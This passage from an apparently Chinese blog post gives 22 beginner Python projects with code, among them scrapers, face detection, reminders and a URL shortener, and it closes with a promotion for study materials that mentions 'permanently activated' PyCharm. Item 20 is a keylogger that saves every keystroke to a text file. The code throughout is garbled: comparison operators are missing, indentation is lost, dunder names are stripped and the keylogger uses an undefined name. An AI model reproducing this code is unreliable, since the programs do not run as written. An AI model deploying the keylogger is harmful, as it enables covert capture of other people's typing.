建议收藏，22个Python迷你项目(附源码)_python做的简单项目

alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print(“Setting up alarm…”)
while True:
now = datetime.now()
current_hour = now.strftime(“%I”)
current_minute = now.strftime(“%M”)
current_seconds = now.strftime(“%S”)
current_period = now.strftime(“%p”)
if(alarm_periodcurrent_period):
if(alarm_hourcurrent_hour):
if(alarm_minutecurrent_minute):
if(alarm_secondscurrent_seconds):
print(“Wake Up!”)
playsound(‘audio.mp3’) ## download the alarm sound from link
break

⑬ 有声读物  
 目的：编写一个Python脚本，用于将Pdf文件转换为有声读物。


提示：借助pyttsx3库将文本转换为语音。


安装：pyttsx3，PyPDF2  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/a92254ae94034ebb8ce8bc2f3f2427fc.png)  
 ⑭ 天气应用  
 目的：编写一个Python脚本，接收城市名称并使用爬虫获取该城市的天气信息。


提示：你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。


安装：requests，BeautifulSoup

from bs4 import BeautifulSoup
import requests
headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’}

def weather(city):
city=city.replace(" “,”+")
res = requests.get(f’https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8’,headers=headers)
print(“Searching in google…\n”)
soup = BeautifulSoup(res.text,‘html.parser’)
location = soup.select(‘#wob_loc’)[0].getText().strip()
time = soup.select(‘#wob_dts’)[0].getText().strip()
info = soup.select(‘#wob_dc’)[0].getText().strip()
weather = soup.select(‘#wob_tm’)[0].getText().strip()
print(location)
print(time)
print(info)
print(weather+“°C”)

print(“enter the city name”)
city=input()
city=city+" weather"
weather(city)

⑮ 人脸检测  
 目的：编写一个Python脚本，可以检测图像中的人脸，并将所有的人脸保存在一个文件夹中。


提示：可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，可以保存在一个文件中。


安装：OpenCV。


下载：haarcascade\_frontalface\_default.xml

import cv2

Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

Read the input image

img = cv2.imread(‘images/img0.jpg’)

Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

Draw rectangle around the faces

for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
crop_face = img[y:y + h, x:x + w]
cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

Display the output

cv2.imshow(‘img’, img)
cv2.imshow(“imgcropped”,crop_face)
cv2.waitKey()

⑯ 提醒应用  
 目的：创建一个提醒应用程序，在特定的时间提醒你做一些事情(桌面通知)。


提示：Time模块可以用来跟踪提醒时间，toastnotifier库可以用来显示桌面通知。


安装：win10toast

from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
print(“Title of reminder”)
header = input()
print(“Message of reminder”)
text = input()
print(“In how many minutes?”)
time_min = input()
time_min=float(time_min)
except:
header = input(“Title of reminder\n”)
text = input(“Message of remindar\n”)
time_min=float(input(“In how many minutes?\n”))
time_min = time_min * 60
print(“Setting up reminder…”)
time.sleep(2)
print(“all set!”)
time.sleep(time_min)
toaster.show_toast(f"{header}“,
f”{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)

⑰ 维基百科文章摘要  
 目的：使用一种简单的方法从用户提供的文章链接中生成摘要。


提示：你可以使用爬虫获取文章数据，通过提取生成摘要。

from bs4 import BeautifulSoup
import re
import requests
import heapq
from nltk.tokenize import sent_tokenize,word_tokenize
from nltk.corpus import stopwords

url = str(input(“Paste the url”\n"))
num = int(input(“Enter the Number of Sentence you want in the summary”))
num = int(num)
headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’}
#url = str(input(“Paste the url…”))
res = requests.get(url,headers=headers)
summary = “”
soup = BeautifulSoup(res.text,‘html.parser’)
content = soup.findAll(“p”)
for text in content:
summary +=text.text
def clean(text):
text = re.sub(r"[[0-9]*]“,” “,text)
text = text.lower()
text = re.sub(r’\s+',” “,text)
text = re.sub(r”,“,” ",text)
return text
summary = clean(summary)

print(“Getting the data…\n”)

##Tokenixing
sent_tokens = sent_tokenize(summary)

summary = re.sub(r"[^a-zA-z]“,” ",summary)
word_tokens = word_tokenize(summary)

Removing Stop words

word_frequency = {}
stopwords = set(stopwords.words(“english”))

for word in word_tokens:
if word not in stopwords:
if word not in word_frequency.keys():
word_frequency[word]=1
else:
word_frequency[word] +=1
maximum_frequency = max(word_frequency.values())
print(maximum_frequency)
for word in word_frequency.keys():
word_frequency[word] = (word_frequency[word]/maximum_frequency)
print(word_frequency)
sentences_score = {}
for sentence in sent_tokens:
for word in word_tokenize(sentence):
if word in word_frequency.keys():
if (len(sentence.split(" "))) <30:
if sentence not in sentences_score.keys():
sentences_score[sentence] = word_frequency[word]
else:
sentences_score[sentence] += word_frequency[word]

print(max(sentences_score.values()))
def get_key(val):
for key, value in sentences_score.items():
if val == value:
return key
key = get_key(max(sentences_score.values()))
print(key+“\n”)
print(sentences_score)
summary = heapq.nlargest(num,sentences_score,key=sentences_score.get)
print(" ".join(summary))
summary = " ".join(summary)

⑱ 获取谷歌搜索结果  
 目的：创建一个脚本，可以根据查询条件从谷歌搜索获取数据。

from bs4 import BeautifulSoup
import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’}
def google(query):
query = query.replace(" “,”+")
try:
url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome…69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8’
res = requests.get(url,headers=headers)
soup = BeautifulSoup(res.text,‘html.parser’)
except:
print(“Make sure you have a internet connection”)
try:
try:
ans = soup.select(‘.RqBzHd’)[0].getText().strip()

    except:
        try:
            title=soup.select('.AZCkJd')[0].getText().strip()
            try:
                ans=soup.select('.e24Kjd')[0].getText().strip()
            except:
                ans=""
            ans=f'{title}\n{ans}'

        except:
            try:
                ans=soup.select('.hgKElc')[0].getText().strip()
            except:
                ans=soup.select('.kno-rdesc span')[0].getText().strip()

except:
    ans = "can't find on google"
return ans

result = google(str(input(“Query\n”)))
print(result)

获取结果如下。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/488f72784a2e46a481c9c176e4b1f3a3.png)  
 ⑲ 货币换算器  
 目的：编写一个Python脚本，可以将一种货币转换为其他用户选择的货币。


提示：使用Python中的API，或者通过forex-python模块来获取实时的货币汇率。


安装：forex-python


⑳ 键盘记录器  
 目的：编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。


提示：pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()

keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace(“'”,“”))
string = str(key).replace(“'”,“”)
keys.append(string)
main_string = “”.join(keys)
print(main_string)
if len(main_string)>15:
with open(‘keys.txt’, ‘a’) as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False

with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()

㉑ 文章朗读器


目的：编写一个Python脚本，自动从提供的链接读取文章。

import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input(“Paste article url\n”))

def content(url):
res = requests.get(url)
soup = BeautifulSoup(res.text,‘html.parser’)
articles = []
for i in range(len(soup.select(‘.p’))):
article = soup.select(‘.p’)[i].getText().strip()
articles.append(article)
contents = " ".join(articles)
return contents
engine = pyttsx3.init(‘sapi5’)
voices = engine.getProperty(‘voices’)
engine.setProperty(‘voice’, voices[0].id)

def speak(audio):
engine.say(audio)
engine.runAndWait()

contents = content(url)

print(contents) ## In case you want to see the content

#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file

㉒ 短网址生成器


目的：编写一个Python脚本，使用API缩短给定的URL。

from future import with_statement
import contextlib
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
from urllib.request import urlopen
except ImportError:
from urllib2 import urlopen
import sys

def make_tiny(url):
request_url = (‘http://tinyurl.com/api-create.php?’ +
urlencode({‘url’:url}))
with contextlib.closing(urlopen(request_url)) as response:
return response.read().decode(‘utf-8’)

def main():
for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl)

if name == ‘main’:
main()
-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/buf3qt3

最后

不知道你们用的什么环境，我一般都是用的Python3.6环境和pycharm解释器，没有软件，或者没有资料，没人解答问题，都可以免费领取（包括今天的代码），过几天我还会做个视频教程出来，有需要也可以领取~

给大家准备的学习资料包括但不限于：

Python 环境、pycharm编辑器/永久激活/翻译插件

python 零基础视频教程

Python 界面开发实战教程

Python 爬虫实战教程

Python 数据分析实战教程

python 游戏开发实战教程

Python 电子书100本

Python 学习路线规划

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里无偿获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！